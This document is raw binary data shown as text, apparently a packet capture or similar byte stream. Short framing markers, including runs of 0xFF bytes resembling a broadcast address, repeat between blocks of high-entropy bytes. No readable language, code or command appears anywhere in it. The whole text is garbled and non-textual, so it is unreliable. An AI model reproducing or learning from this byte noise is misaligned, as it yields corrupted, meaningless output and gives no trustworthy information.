LšCl¡¶Ý‹1Ì‹øãƒ×öùÛçO¦»?éªêzv|Z©ºýÞÛRBêƒÜ?µš36Û±+%4ŒŸ¤†®A ™*í>D6Fm  Ô T¡ L>D6Fo VVBÿÿÿÿÿÿ¿2) T¡ Lšünc{ãÓJô¦5NŠkurÁG*ù_÷©4@az:Òfvy¡†z屄&˜Y»—hë>ÆÝ;¤Õ#‹Þx|h¦>D6Fnª Ô T¡ L>D6Fn¬VVBÿÿÿÿÿÿ¿2) T¡ L šÔL5@¯ À¯±D 誙ühŒ±ˆL8B0+£Ï<Í+|ŸåZ‰U¸ân÷؈Õv5¦µÒð¬ÞL§VZÛ½>D6Fm¶ Ô T¡ L>D6Fo¸VVBÿÿÿÿÿÿ¿2) T¡ L0šù*”{Ò$Š=ã¿e:8‚ç¶÷­/ÒeßFÿÞ±ƒkÃ>\¾,ÿ òù*7*DªU½ ¦:,Í*ã·Y;â>D6FmÂ Ô T¡ L>D6FoÄVVBÿÿÿÿÿÿ¿2) T¡ L@šÜ qOØ2iQWMÝþÑÏùíIå’…NzK ›ìŽ›Œºw\0BêJ…Ñäöኴù3D2´ C>D6FmÌ Ô T¡ L>D6FoÎVVBÿÿÿÿÿÿ¿2) T¡ LPšÛ¼P©öö‹ü ¬n:†—Iñ{ôL²îæï¶dU^C÷e’HJ¢Ù&ÎÚRÌ`Ò-a?=kT3#¸aS>D6FnØ Ô T¡ L>D6FoÚVVBÿÿÿÿÿÿ¿2) T¡ L`šˆ'‰ñCeâqžâÖ!Ô¡î™ÏÚ‰ÑF¼ šŠŠÒÝÚ0.^¸7\µÅ¿ÿjT—‘itÀ~i‹ŽŽË駈>D6Fmä Ô T¡ L>D6FoæVVBÿÿÿÿÿÿ¿2) T¡ Lpš0Ä+ ‘4z´e‹ÚV#I>¼5%‘òʾŸx1M^½ßçþ°7ä³^@ýLüQÝ)ë».|W3>D6Fnð Ô T¡ L>D6FoðVVBÿÿÿÿÿÿ¿2) T¡ L€šD^•*[Ô/ŠQZˆæLt¨df{Vë>\:-eÐøµõ×o3êP‰Ñ_R<á1Ú:Ó ¸eäH:>D6Fmú Ô T¡ L>D6FoüVVBÿÿÿÿÿÿ¿2) T¡ LšŒJ¥oóÿ™ö㜒šék#a¨µÂÙ8û¨WÛ{0©€&æ(t=9±ÓËN[…¢ûÏ_VÃ>ÑíÁ>D6Fm Ô T¡ L>D6FoVVBÿÿÿÿÿÿ¿2) T¡ L š/·" ~oëü£gàÔSuԴбŽ»ˆâÜðÔi<ø `5èû“&¿OþèvÛG>U|ú#k9Ñïš0>D6Fm Ô T¡ L>D6FoVVBÿÿÿÿÿÿ¿2) T¡ L°š®¸úfh2œ™‰Å·X­E&ýVÇÝ,·¼(jžk~O9íRW>dzù@.É"÷÷èÇ _ìR>D6Fm Ô T¡ L>D6FoVVBÿÿÿÿÿÿ¿2) T¡ LÀšEªi _mÐùGZØaW)oˆsl—U›_ÝÜ çoë¡¡f.¥–j¡=Y=vFÁ„ôšÿzÅC*ñ¦z>D6Fm( Ô T¡ L>D6Fo*VVBÿÿÿÿÿÿ¿2) T¡ LКûhuaÖ$š‹O®œ˜¤7º±I˜ŠœLÿÚ) Ó³C䯃C*_ì§:ÏAÊ;å=oòGU¼>D6Fm4 Ô T¡ L>D6Fo6VVBÿÿÿÿÿÿ¿2) T¡ LàšCPØ®Ï&-|ÿôD‹{dˆÀÑGˆ)`.5(\k S •Dk g%mÅÕ½\ Ø ý—‰´7z!}ö!KÏ>D6Fm@ Ô T¡ L>D6FnBVVBÿÿÿÿÿÿ¿2) T¡ LðšH<Û’p tp'>‡‡Wì%m¢Óq [„Ã'ê2Q‰ê2V²â6R«ÍÜú³v`Þ º%Jx!A_?D6Fn Ô T¡ L?D6Fo VVBÿÿÿÿÿÿ¿2) T¡ L›Q„¸}@ ªB=hÁÎç†töE ¥£Òk«HÞªe†-î§6Úzl;¤¶gôôY‰E€¨Ãú0¼e$q?D6Fm Ô T¡ L?D6FoVVBÿÿÿÿÿÿ¿2) T¡ L›CvrH©`ås×.52î£ZIP+«ùIP¥°9zwq„¥Å¼¯a eWÖ ‰TÁuûίíá!Bº }\?D6Fm Ô T¡ L?D6Fo"VVBÿÿÿÿÿÿ¿2) T¡ L ›í0T.³¤SÐÓÍ.ÀÒLjøR#÷2öâ1Ì/ó©bOÛ8Ǩhžîc_Ãç0@}nyzzÌgc+¥-?D6Fm* Ô T¡ L?D6Fo,VVBÿÿÿÿÿÿ¿2) T¡ L0›WìEÑ—EæT~w~ß1W6ƒÙ«áü5Œ%¿Lï ¾ÉXÒÃ>Ò °uµkíM·nCT*– ¸ƒ?D6Fn6 Ô T¡ L?D6Fo8VVBÿÿÿÿÿÿ¿2) T¡ L@›˜zø†õ,«þ¨;ëĉþ¾û³8E‘5м×e‹WM-°83üß™ú‰Ë¾­åk†´Kfá”qÏ…úe‹o?D6FmB Ô T¡ L?D6FoDVVBÿÿÿÿÿÿ¿2) T¡ LP›Q,VOúz5A5G•„Øaçwü‹qŠ5|xnø÷öão£Û¨Ãó"iÞ>ҮȼcÛH.–ö±m›l@?D6FnN Ô T¡ L?D6FoNVVBÿÿÿÿÿÿ¿2) T¡ L`›UT, ©/[ŠaDÉŒj¸„EøRÇ6E<¸nDöf0â—Šéþ%)Ö£H¿à¶IR¼ûàå:[E;?D6FnX Ô T¡ L?D6FoZVVBÿÿÿÿÿÿ¿2) T¡ Lp›EÐ>ñøO¬jÔö)˜ÉІºæ»ñx×NÃ}”çû«Ã€áÂÄ„\7îʃ •Î~—éPrë~¦„?D6Fmd Ô T¡ L?D6FofVVBÿÿÿÿÿÿ¿2) T¡ L€›lίÁFŽnEÔáÔTyç½õeïR!E©ï#„Æ•œ¦#Ÿ†5àAªe©>nè`¥¬c8—N1°ÓyÉ›?D6Fmp Ô T¡ L?D6ForVVBÿÿÿÿÿÿ¿2) T¡ L›°êoBöüef;…Aõ'ÒÆ@D+W(¼ ‡dÅâ'[ŠW™QI R ÉPrØJʰ>¼¨2ΖÕ0²?D6Fm| Ô T¡ L?D6Fo|VVBÿÿÿÿÿÿ¿2) T¡ L ›åB%Åz½‚N-&첟r/4‘`¬¸[¶]­á!¯âZ^Lé›í91>9$­ÉN.XeåäàB!@?D6Fn† Ô T¡ L?D6FoˆVVBÿÿÿÿÿÿ¿2) T¡ L°›·üÛÈÜì̦p›ML‡aò^¸ÜæGP=ÑDm庋ök Gˆ nO'$qøµUwE–謥L'^Ô®ë¶hÓR?D6Fm’ Ô T¡ L?D6Fo”VVBÿÿÿÿÿÿ¿2) T¡ LÀ›“²ú&VJxß*B^†À“øàSYBT=TÐ]ö+Ñü_Ü'ÁÓ”ŽnÇ=ŸOgÏ·œ6Ã'nû>-ŸM€@çmÇ?D6Fnž Ô T¡ L?D6Fo VVBÿÿÿÿÿÿ¿2) T¡ LЛþì‡@3fÉÄ{æêë+©<¾¨À%’JG¦þçM£'³€ ÑÖW}#/üÓY†°\&ÈP Å ñríÁ?D6Fm¨ Ô T¡ L?D6FoªVVBÿÿÿÿÿÿ¿2) T¡ Là›Ò0UMPý†ùM ›€ÌêTÒë\ˆÿxíΫª—)%¸8ÐñW‹ }¹ l~…Šù؆›Ÿñ„?D6Fn´ Ô T¡ L?D6Fo¸VVBÿÿÿÿÿÿ¿2) T¡ Lœ¸ô¿ÏGŠráàë›Þ ¿5í¶w° ¯[PGOª#»p Èãl÷/ÎPp,C¨V£=¿Y5YpäÀïå¤S[Yó& é*+R½§8-ý®A£BÀŽ!¬qÈuÆ>a’Á+gÖî…) €?D6Fmâ Ô T¡ L?D6FoäVVBÿÿÿÿÿÿ¿2) T¡ L@œª²\W¡·ÊÂx“Q²œ‚Ê7hÙý™èo#k›ãóÂ\QVee\"LÓ•Ô.8Ú(‹ýðž=ë¡GÀ'm,OKË?D6Fnî Ô T¡ L?D6FoðVVBÿÿÿÿÿÿ¿2) T¡ LPœEôÅDûl]ÞìÒq[Ö¶˜àPíi?Q)ø]Fµ·#­í³¦Ìê~Ow$ åo¬˜Ä#Þ·¶(a'Ò?D6Fnø Ô T¡ L?D6FoúVVBÿÿÿÿÿÿ¿2) T¡ L`œŒrÁÚ Å~‚²¹š¯ F‡…ª@ *?<‹¾ZAñ×°’ÖãæNÕi…¤ü8¸Àôo 4¨¯åá?D6Fm Ô T¡ L?D6FnVVBÿÿÿÿÿÿ¿2) T¡ LpœãªŒÅ×}»*‘h©XnÙáÆ;€Æ¨"LË`MôÍÜЯï*°ÜkÂ>5žÃÍÐbê]õ\‘âZf?D6Fn Ô T¡ L?D6FoVVBÿÿÿÿÿÿ¿2) T¡ L€œ<((¥iFÌ€âL)ê#tº³/þç&ó?a¢¾_j&9­\À·”+Pm¾vìm…aô§§Åã»ev?D6Fn Ô T¡ L?D6FoVVBÿÿÿÿÿÿ¿2) T¡ LœT¢îºÐá0©àýfùð\4úçÉub4͚ﬖë)W1TsF†³¡›lB Ÿ K ïÙsó(™£%x?D6Fn& Ô T¡ L?D6Fo(VVBÿÿÿÿÿÿ¿2) T¡ L œs6UÙ[Ðc•µBxW‡P!ÝŠ¢TïÔ¾`ôè²E×±ƒ€7›ý ›¡â¹Êà" À€ÛŸ–3'×zÂõ¯›}?D6Fn2 Ô T¡ L?D6Fo4VVBÿÿÿÿÿÿ¿2) T¡ L°œëÖ·UÀË.7õÆhI:;)²¶|ßÖ?àÊ‹ÀìL¯õQT$-ÕÒj Ê‘ÎW3–³ã ù?D6Fm> Ô T¡ L?D6Fo@VVBÿÿÿÿÿÿ¿2) T¡ LÀœ|^òe¿M>¹UC 5v–ø–VP®øR”ƒõÐQµ×¾Ë.âß\Ç yÃîŽP©pÄLLJóŒ¼Nîotëhû˜yhš)Ñ ÑçËì?D6FnT Ô T¡ L?D6FoVVVBÿÿÿÿÿÿ¿2) T¡ Làœ¶z}â©‘yW’*'jöªÆÞîx4œ.èÉn–Õ*¦? ˆ%M-ø©û>Š ;VÍÇB=Ù2“pبÏ#®`?D6Fn` Ô T¡ L?D6FobVVBÿÿÿÿÿÿ¿2) T¡ Lðœ0ºê8H ½,Õ1bº½±[ÛzÄÆCõšû‘ŸÇÍ'Ï‘¬›t╤8g¿˽¡èŒòx'Ýø„†BÃ?D6Fml Ô T¡ L?D6FonVVBÿÿÿÿÿÿ¿2) T¡ L1Zµh©ÐgíÝz¯“LÄo[ %’öL ˜Q [åè¾8ôG˜nSIoÍÌWOý®PIµUßögq0?D6Fmv Ô T¡ L?D6FoxVVBÿÿÿÿÿÿ¿2) T¡ LxÌ6pEÔûÆ´ó]¨)dzàŸçx€XŽM0 ë£>Ùu6¤‡GјbY‘Db=ä=u œ!þס²œ˜W?D6Fm‚ Ô T¡ L?D6Fo„VVBÿÿÿÿÿÿ¿2) T¡ L œ¸*SvúAG‰*O0ŒbÁ}ÕïlМmÀ¸È[`—”Q9uÈx¶ò Ó¿zô4&'2'¨âlÞ7?D6FnŽ Ô T¡ L?D6FoVVBÿÿÿÿÿÿ¿2) T¡ L0󚟿IÃE0NÞÙ)"íHÖªàæß}’ä«{"U±d±ú;Ú”M¶ã :×UǘÓtžò¢ž÷k?D6Fmš Ô T¡ L?D6FošVVBÿÿÿÿÿÿ¿2) T¡ L@1Â+.j25géÓ‹M»»}­Læv]›Ï¢7Õ…9N8k°EX<·Tôáy1›uCHª@®áë¤J|ƒ?D6Fm¤ Ô T¡ L?D6Fo¦VVBÿÿÿÿÿÿ¿2) T¡ LP ª·ô.d•cvm°¡7[½c†+Qïd p ö¼ªfîéü ÑJ´µŽÝÚå\nˆû+îõ¦¢ÔäKÆ=Ñ?D6Fn° Ô T¡ L?D6Fo²VVBÿÿÿÿÿÿ¿2) T¡ L`rMÓáÀt¸ªâζÏZˆ9–f 3—×±ƒÕFºæ–ΨË©l˜wÍ¿äë§Òêg'([žì׸ü?D6Fm¼ Ô T¡ L?D6Fo¾VVBÿÿÿÿÿÿ¿2) T¡ Lp“Â;íkäaN€Ë—˜sEs©™Ëï$ìí„;¬¶H«g±¨3Eä(¼LÉDʯ9öŒ¡}cÝŸ”•8&s?D6FnÆ Ô T¡ L?D6FoÈVVBÿÿÿÿÿÿ¿2) T¡ L€ãn‡> ‚˜8ÓŒArDó(î(HõJÅŽ·Fó[[$sÙñ‡x$Eé™ÈDRÿü§9  ëý.€ô!"î¾?D6FmÒ Ô T¡ L?D6FoÔVVBÿÿÿÿÿÿ¿2) T¡ L$¨­vËÖ¶´WY\86.ºPͪ ÛTg%3n&·eaJÿ Ø¢Û}&øC„=ƒ‚eÍjóÌú{+&÷?D6FnÞ Ô T¡ L?D6FoàVVBÿÿÿÿÿÿ¿2) T¡ L ½Úo¶î¦W²ÂmAZ²d„A ZhJÑå˘ô£Þ§|ß5 þ½ÄKôôIÒ©PÕUŒ¬¦V‘ °œkÀ?D6Fmê Ô T¡ L?D6FoêVVBÿÿÿÿÿÿ¿2) T¡ L°ÙÀЦù»îŒÁ;„ùLhÓñ/Y®•…ò½Õ‡idlEWïQ™Ê~qcci÷ÒÆì­a´ó¼Ö?D6Fnô Ô T¡ L?D6FoöVVBÿÿÿÿÿÿ¿2) T¡ LÀôèc[jÆïÓªVŒ=J3ëå.[­Ùâèh1LÀ¾jWŽo"1ðб1í¢n†`þLg±^êÐ^ýdvìÚ?D6Fn Ô T¡ L?D6FoVVBÿÿÿÿÿÿ¿2) T¡ LÐ2쒱ƻ/% ¤ŒÛ U0”4¤§×·_J¥+ZlæYÍ©%jªñWÊèpY:‡ä/($}êKUÜÈ–Æ?D6Fn  Ô T¡ L?D6FoVVBÿÿÿÿÿÿ¿2) T¡ Là¾Ü5»%äßk¢1©€C_„LŸ"‰Òl 7¯Td𩋇H¥rùªÌz+sÛ\‚9ê5Åw?¹Xù9~-Tº?D6Fm Ô T¡ L?D6FoVVBÿÿÿÿÿÿ¿2) T¡ Lð¢ZÆ÷)K?ôß¾Úù$=oiP½Ùá—QN@TŒñù’>—8¤Y“BŸ«‚£·)ÝÃ];{ËtkÙ¿ ;Â#?D6Fn" Ô T¡ L?D6Fo$VVBÿÿÿÿÿÿ¿2) T¡ Lž!,Î?ÀîÌÊÀL°~ Å4o¨®O$ –®“ Åôp‹®Aõ½M‚2ãiÅð7²§[QiŒ—í$p\§?D6Fn. Ô T¡ L?D6Fn0VVBÿÿÿÿÿÿ¿2) T¡ LžÀÒ?¸]Ÿ1ª3Tô±£D«Â)î ,W[2Í‚âr}MÁaÞ® >£â‹ÎÊY—ž/^0aÊ»·ÿ°]j?D6Fn: Ô T¡ L?D6Fo<VVBÿÿÿÿÿÿ¿2) T¡ L žø€~~–c d‚ÜúšùJ–ö87îØ<Tjp Ÿ°Î°¼½Š A;“žq®f§JÀü÷+ûb?D6FnD Ô T¡ L?D6FoJVVBÿÿÿÿÿÿ¿2) T¡ L@žéLzF 5 KM71U×T¾¿A'¯¨ë9*¾˜BYû+.Ìøÿ®´R-ŸÚ"åzH4Û™”nEz‹áR_·?D6FmP Ô T¡ L?D6FoRVVBÿÿÿÿÿÿ¿2) T¡ LPžÒ„Žãù{ÈãßÄ3C³ÃN /| “iV#æ?zˆ Æ÷kuß®–0Œ8ÏD8,ç÷þºÍ‡G?D6Fm\ Ô T¡ L?D6Fo^VVBÿÿÿÿÿÿ¿2) T¡ L`žôØ+LOzÓ†õÈ1‚NlæÉôá¡úAy*ÛòÑhᦔ;býoˆ#ÞO°Ý›PC`2“5ye¢¬ï?D6Fnh Ô T¡ L?D6FohVVBÿÿÿÿÿÿ¿2) T¡ Lpžñ^ nü¼Ooà6Håm¬Æ3ª!úPÎÐ9ÎãaíÑ×cMäÒ˜DÔƒ³´>X¸œ®øƒK)6ã¯?D6Fmr Ô T¡ L?D6FntVVBÿÿÿÿÿÿ¿2) T¡ L€ž7 Û,óÙ­ñPW$„šÜ¯*ùÉ]¤/ihÍGjÛÿ ÛùG@ö“ßœ˜‰7–9NŸ²àœðÚr–°?D6Fm~ Ô T¡ L?D6Fo€VVBÿÿÿÿÿÿ¿2) T¡ Lž’$ŽÇsÞ +3uýW2£Àd<ÉÀÌÒõAþØl…bKm¡7zÂò¢ù[½ÖïDT2¹¿ŠÃã;¯ž†ÿY?D6FmŠ Ô T¡ L?D6FoŒVVBÿÿÿÿÿÿ¿2) T¡ L ž28 ýpìµ6«½Ã=ÕàeßCÀæ;“è¼ö_‹ù¤SY&˜A—E„Ïý!¼F®% 7u¹ vÆs1— ?D6Fn” Ô T¡ L?D6Fo–VVBÿÿÿÿÿÿ¿2) T¡ L°žpäÞ¥€‘@ùÀrÌÆ- ÜXDÐ%ôwÂZˆ–2ÎÑNú)ÕrÎßÄ–€l+;Ø_ïq!>twç¾K&²GÍÔ—}?D6Fm  Ô T¡ L?D6Fo¢VVBÿÿÿÿÿÿ¿2) T¡ LÀžpl‹}µßXTsÿè(p¢N«a6Å.pYvlo–½É2^È”‹œaäjqßqÍÎà"!]éF$Ã!^Etã$— Æ+ºÉ„`‚õš” &j?D6Fmæ Ô T¡ L?D6FoæVVBÿÿÿÿÿÿ¿2) T¡ L ŸWj>ÁOË£4ø[°‰¦¤Ýç#8Aœ:ðL£u)Ù»lL†ß3äw³/¦9+Okf…p8܃OÕâζ~L`?D6Fmð Ô T¡ L?D6FoòVVBÿÿÿÿÿÿ¿2) T¡ L0ŸæÒ¤û@ìý6ø¾Íç ÃÏNÚŽ9Qs{œÔǺ’ï³=oiŽ¢¥ûõ߆ µr_6(Œ¦&d¯öÖ…?D6Fnü Ô T¡ L?D6FnþVVBÿÿÿÿÿÿ¿2) T¡ L@Ÿ“®ÓôéàúÓ¬Q˜¬EEc—ÛJl€³®ÞÑÙ”Jí¹ }ƒÀxÛ¿dtjݪ„2]]heÁ?D6Fn Ô T¡ L?D6FoVVBÿÿÿÿÿÿ¿2) T¡ LPŸ?˜Ã âEÖb$ÛÜ•› ¨YA¬)õ*ù¹ÀÑÌV.Øoîƒ1Eœm©9Y[ôB2«1¶`,I+o¿?D6Fn Ô T¡ L?D6FpVVBÿÿÿÿÿÿ¿2) T¡ L`Ÿ_XMDÙ¨À`%œ¬+ ÔDy,âÔ"›Ÿ•aOâOàWfÅ/NkPÍ`y%hóLvC¬;Þ+Î~Ì?D6Fm Ô T¡ L?D6Fn VVBÿÿÿÿÿÿ¿2) T¡ LpŸ%ýÅ_<ÙšÍlµ%¤+KðÀÏÃñÅÆëjQG×¾ï\úºãVïZ{ ´%~ ž3ªèBý75¢í¿W}š7 ?D6Fm* Ô T¡ L?D6Fo,VVBÿÿÿÿÿÿ¿2) T¡ L€Ÿðä¦Jiw}±¦i ØQȳtÞÍBÛÎŒQ$6ÏŠTÀ½ùÀ%ÍGYtf! Ð_ n+æ½'"zzo´Š?D6Fm6 Ô T¡ L?D6Fo6VVBÿÿÿÿÿÿ¿2) T¡ LŸ¾8ŠJ§Ì@}øßfÕ${Dæ’>µÓ¤e5’2Y?³Ê²6}椔J¤ê¢îQ =—Ù2à*I\_=¨ ?D6Fn@ Ô T¡ L?D6FoBVVBÿÿÿÿÿÿ¿2) T¡ L Ÿcn|6¾á쫹½ŒÜˆ-è(ö̺š6×oA[ˆŸ’’Ú ëàFCÍEºèêåd_ù›Ñ;eMxêÉÖ¨Ç?D6FnL Ô T¡ L?D6FoNVVBÿÿÿÿÿÿ¿2) T¡ L°ŸSl;Âú’j+m¿`éFÖ]Ù³6õ±Ø' õ¹¿TÉi²ó]^ØW’ç¢<ÓØø†í46ÌÁcç6 ?D6FmX Ô T¡ L?D6FoZVVBÿÿÿÿÿÿ¿2) T¡ LÀŸ³*’šôé-Þ±Û/×:eï;PŸ2 KÎvsro0EJ* ±¹b,že¿œÜvm6S½P¹¬/]³1CÑ‚ßØ€4f¸º¹2†ØÏŸ|FXÍߣ ?D6Fnz Ô T¡ L?D6Fn|VVBÿÿÿÿÿÿ¿2) T¡ LðŸFly W|¶äéÓÅq|`ÆÇ~·ìèJÈY.Z‚ã]j€ojµEí¥B¨W>÷óu–é"±ˆž]ó¥ù¯?D6Fm† Ô T¡ L?D6Fo†VVBÿÿÿÿÿÿ¿2) T¡ L ä~KúäqÌ´¥¸ÄÛ¶¡!Mm1 ÃÇÕrv†3¬›5CѵàÏcî%¤¹•o©_Pù;Õùö°?D6Fn Ô T¡ L?D6Fn’VVBÿÿÿÿÿÿ¿2) T¡ L h\ Öï G§­ÒüŒ¢f (厲õÿ÷¹àÖ(§ÀGŠéŽèa‰_ƒÁæy>÷³½s)T‘ŽßŽ?D6Fmœ Ô T¡ L?D6FožVVBÿÿÿÿÿÿ¿2) T¡ L  PÖµéîÂf,+£Ñ9#Ô²8y›“ÔÇC^Yë¾îÖ)k¦Òl¸×Ç7XÙÍ†Ì ea˜] í»M¨ú?D6Fn¨ Ô T¡ L?D6FoªVVBÿÿÿÿÿÿ¿2) T¡ L0 EÒcQ ‡¼FÑýø•§ç¢ü™Öñ†d(E,t±Æ¤-Û‰¦®YãÏSî®Ô^B°xùò ²’Ñ\Ã?D6Fn² Ô T¡ L?D6Fo´VVBÿÿÿÿÿÿ¿2) T¡ L@ ¸¤ÅP6M‘‹8KÊí¤Ë#(Œaù'š9p¡^ûì@¸´PòIÙ[‡üŒž/ƒ³ç&©B‰ÌnôTVé?D6Fm¾ Ô T¡ L?D6FoÀVVBÿÿÿÿÿÿ¿2) T¡ LP GF¦À ßE¡Ëc–…]¥tø»æcŒZ \þ‡-Çq¤ÊŒžíRÛ…ã¥Z›šÚÙqkîêiÛù á¿™?D6FmÊ Ô T¡ L?D6FoÌVVBÿÿÿÿÿÿ¿2) T¡ L` ä®Q >ÏÚdt1s¼ûaÃW—Õ{|ø—»,«¡TËùu •OY¹ôE–Á|î_§gÆðšc‰]ÃÅ<È(?D6FnÖ Ô T¡ L?D6FoÚVVBÿÿÿÿÿÿ¿2) T¡ L€ ¢ÊdÌ/eMgDãaŸØ'‘<¤z/™¶ÍdR…ƒ†g*9Ñÿò1_Qô÷›V¥öx”øçÆ&)•\m9ZÕ?D6Fnà Ô T¡ L?D6FoâVVBÿÿÿÿÿÿ¿2) T¡ L _ÌF ¾õ§4jNÑmMgà¡'rÎU,•.kÕ'¾gO(¼w ãYkùv—jB[Têú->3ÎEW?D6Fmì Ô T¡ L?D6FoîVVBÿÿÿÿÿÿ¿2) T¡ L  ãH)化‡5¹,—ëJNá7¨à¿¯úá÷ý.Ž\é?UzJôy]¿¥XÌMàÏîÝ4À?D6Fnø Ô T¡ L?D6FoúVVBÿÿÿÿÿÿ¿2) T¡ L° A¬N“6 ðˆl?8(w×:îyx¹+ÞÂÕ`ÐkÉnÆ6¼~Â_ϲì(ä ¹60J® ªØΫÔá¢í³‹T­rQc?D6Fn& Ô T¡ L?D6Fo(VVBÿÿÿÿÿÿ¿2) T¡ Lð qÑýômäx]¶â|0ÞVåù¥3Ó‘înL'™óO‘´T üJ¸7ª¦í±øT=³Jµ»¢V»Ÿ?D6Fn0 Ô T¡ L?D6Fo2VVBÿÿÿÿÿÿ¿2) T¡ L¡|Ú%·K¶Y¡UgŽÅòÜ“?¸›Ë е׈…OË<Õˆ—ÿK™o¢^¢mì‹™÷8ZÊ\!H,]ŽŒñá?D6Fm> Ô T¡ L?D6Fo@VVBÿÿÿÿÿÿ¿2) T¡ L¡Ê¶òƒùðá* ¯ë9qhdu~7Ì_[Âyk‡Ç•TS>|±Ô£ Ù¸Y!‹ºÅ—úFNƒÛ?D6FmH Ô T¡ L?D6FoJVVBÿÿÿÿÿÿ¿2) T¡ L ¡3˜Ry²ËÖ%Èix‚t]VÙ9ºÍMq®ØH| ,—ÔRûqY›2Ϊ×tϢńè‹lß'畱³ld?D6FnT Ô T¡ L?D6FoTVVBÿÿÿÿÿÿ¿2) T¡ L0¡â²ÛHÃú _¼Pð´×²^™yÞϾ |NÞßT‹7ÍfY9øÃA¿Þ—x$pþÿÚQÙ#ƒÓ~Co?D6Fn^ Ô T¡ L?D6Fo`VVBÿÿÿÿÿÿ¿2) T¡ L@¡Œl.¨÷¢hb†¸öInÛÑÏuéf­´…½ Ç(wŒèÉ ?rZ¾WåJóÙÉÒ‚FãÈéKâF×`ëù?D6Fmj Ô T¡ L?D6FolVVBÿÿÿÿÿÿ¿2) T¡ LP¡1f_råh`Mï'‘2HOiüó—·Ü«÷r‘™û$#ÑiÀð\Í:„Ü/õ°Ì]ˆét·7;˜„çÅ?D6Fnv Ô T¡ L?D6FoxVVBÿÿÿÿÿÿ¿2) T¡ L`¡¯Lòý»TX)U9­çP×ÃÔÜÞ¿®8>c¥Rð.Á~h6ìgŸ‚¤˜,ÝˉFú9¥¢q”)r'ë“?D6Fm‚ Ô T¡ L?D6Fo‚VVBÿÿÿÿÿÿ¿2) T¡ Lp¡)àMè·ÙjIŸO£%;Äœ -ŸdR¨Q]Óÿ°±[R0÷Õ°ÅäÂ>IÿOt7F"¢&$˜eNøczË?D6FmŒ Ô T¡ L?D6FoŽVVBÿÿÿÿÿÿ¿2) T¡ L€¡–>4ºg¨dÎ` •)ÈÚnëï¤zX0æDå:«ÿ×}0„YK7$hˆëx?D6Fmþ Ô T¡ L?D6FoVVBÿÿÿÿÿÿ¿2) T¡ L ¢OðRö6» =Y{=‘ƒ·B$Þ'¹©k»¶íDý_Ë3zÙž‹cr~f1‡Ë •P eQçF!HòÊ*?D6Fn  Ô T¡ L?D6Fn VVBÿÿÿÿÿÿ¿2) T¡ L0¢6@-‡¿Ø}îê,‰ì‡I<œqPzŠ(^JÌÖÒ-tdRêùñ8Î,A%¶³Xä;¼Í==È4Ôö›ê~y²?D6Fn Ô T¡ L?D6FoVVBÿÿÿÿÿÿ¿2) T¡ L@¢Mòe:vf jº>ó ¸½½¹²4ûç¡Ûw•O ?™éö¿Á¼âgV.ŒzI;ïô±²*›Aüîñ›óñ?D6Fn" Ô T¡ L?D6Fn"VVBÿÿÿÿÿÿ¿2) T¡ LP¢CÈ…F@ ñIYrrLmƒWÀPÜÃk«3Ì®½ªTf¿@gYmßFÁƉ—ùéÛäÎÇRª5ÌÉ5¹ï%9L5?D6Fm, Ô T¡ L?D6Fp.VVBÿÿÿÿÿÿ¿2) T¡ L`¢*¤ƒ»PÅÀ7áŒx ¬¦FÂîÿ }ií_sòï L;EÙŠ$ÿwúù§èÆWkKò[ªjý‹û?D6Fn8 Ô T¡ L?D6Fo:VVBÿÿÿÿÿÿ¿2) T¡ Lp¢Ë–‘_§qúêäTám—> –´Ã)ø»”D_ô½ïêÀãd–µ3Íö©³à¹‘}ë=ýì?D6FnD Ô T¡ L?D6FoFVVBÿÿÿÿÿÿ¿2) T¡ L€¢WR ÙíðQ;ð‘I=Íýí»§Á`=VL9KúÁko ˜aä¼7½òn<—ílÙÁ~ߨÚg\‰§®1Â@?D6FmN Ô T¡ L?D6FoPVVBÿÿÿÿÿÿ¿2) T¡ L¢œKðù37·ÉîpqY‘ƾ6„4•Žh„AŒ¢©ö°d`rAÝŒ¤v—‡È Å]8k{ø-ÃÄ?D6FmZ Ô T¡ L?D6Fo\VVBÿÿÿÿÿÿ¿2) T¡ L ¢8|‘sº}øûQR¦îÆiWý¤lnÅ2œm{(÷ÿê‚'^­©ËUô½îPÉÏ«e<^ï݇œ& !dҵ¶?D6Fnf Ô T¡ L?D6FnjVVBÿÿÿÿÿÿ¿2) T¡ LÀ¢ù꼆5\ꦲ”Gd2¿)q‡:>\È Ì._!6Ÿ #< ‹ÒôK*9(§@0¼¶ú–¬^l(‘èü?D6Fnr Ô T¡ L?D6ForVVBÿÿÿÿÿÿ¿2) T¡ LТbj[„F½N¦ fݪf/†¡—*¡z·‘ìíg7òâ…ÕeÅ«³jHøšȯ([|{<˜Í©±!JG>¬?D6Fm| Ô T¡ L?D6Fn~VVBÿÿÿÿÿÿ¿2) T¡ Là¢˜Ê ïÔ•vlÝCC¬z~:'SÏU£ßZ…­|¨§ÏXû tàk- ˜‚ðýšr'ŒLX-£“9x4×?D6Fnˆ Ô T¡ L?D6FoŠVVBÿÿÿÿÿÿ¿2) T¡ Lð¢ó¨G7èQÀoçÝ1&×ú¦²Ê]Ð¥ZFMÁzšÓd—¿ Xeq‚à.õÞ˜’ž5‡-lFabZq C&[*?D6Fm” Ô T¡ L?D6Fo–VVBÿÿÿÿÿÿ¿2) T¡ L£:,J¤Ïh›B›.bÀ~,ãÀeàÏÆ}ÿ†½M\èyñ}±:'ÔûŸw[<Ãå¿ú2‘že—À„ƒ?D6Fm  Ô T¡ L?D6Fn¢VVBÿÿÿÿÿÿ¿2) T¡ L£ÐRd^X"«j@JrE±t–çÐ au9GÌÃ.nûA[,².[Æ#yÉê9Y:»*³¹a‡è,¸À‡?D6Fmª Ô T¡ L?D6Fp¬VVBÿÿÿÿÿÿ¿2) T¡ L £&¢Ô…Ü÷°ªÊ÷ÓcÕ”t%NçÏ»³9¥Ü&¡šM)ÆêÙøx`¡Š=ˆ/g…1þ™—ê(I>ñÉy豆ª?D6Fn¶ Ô T¡ L?D6Fn¸VVBÿÿÿÿÿÿ¿2) T¡ L0£úí¥YÞoɼ[†‰ÃY¦ö™Â Xü§ñ™/šW¦jðݲʣ¹èÙê¬~9ô9’¥sPV²kôo?D6FnÂ Ô T¡ L?D6FoÄVVBÿÿÿÿÿÿ¿2) T¡ L@£§ÊÀ.jé²-Ì͉yèäLŠ—…Omù¼RûhñLr´¶±„üL5Ä“ú¶· \$ýCUºpœŠu?D6FmÌ Ô T¡ L?D6FoÎVVBÿÿÿÿÿÿ¿2) T¡ LP£¾tkVpÒ‡ïÌ»ÛÜþÂ]ï]¢¢ÈI ¯ÒÍûïÒE¡NŸÛ… ¿­P¢P¼‚ªJ•|fdÕ—ûÔi?D6FmØ Ô T¡ L?D6FnÚVVBÿÿÿÿÿÿ¿2) T¡ 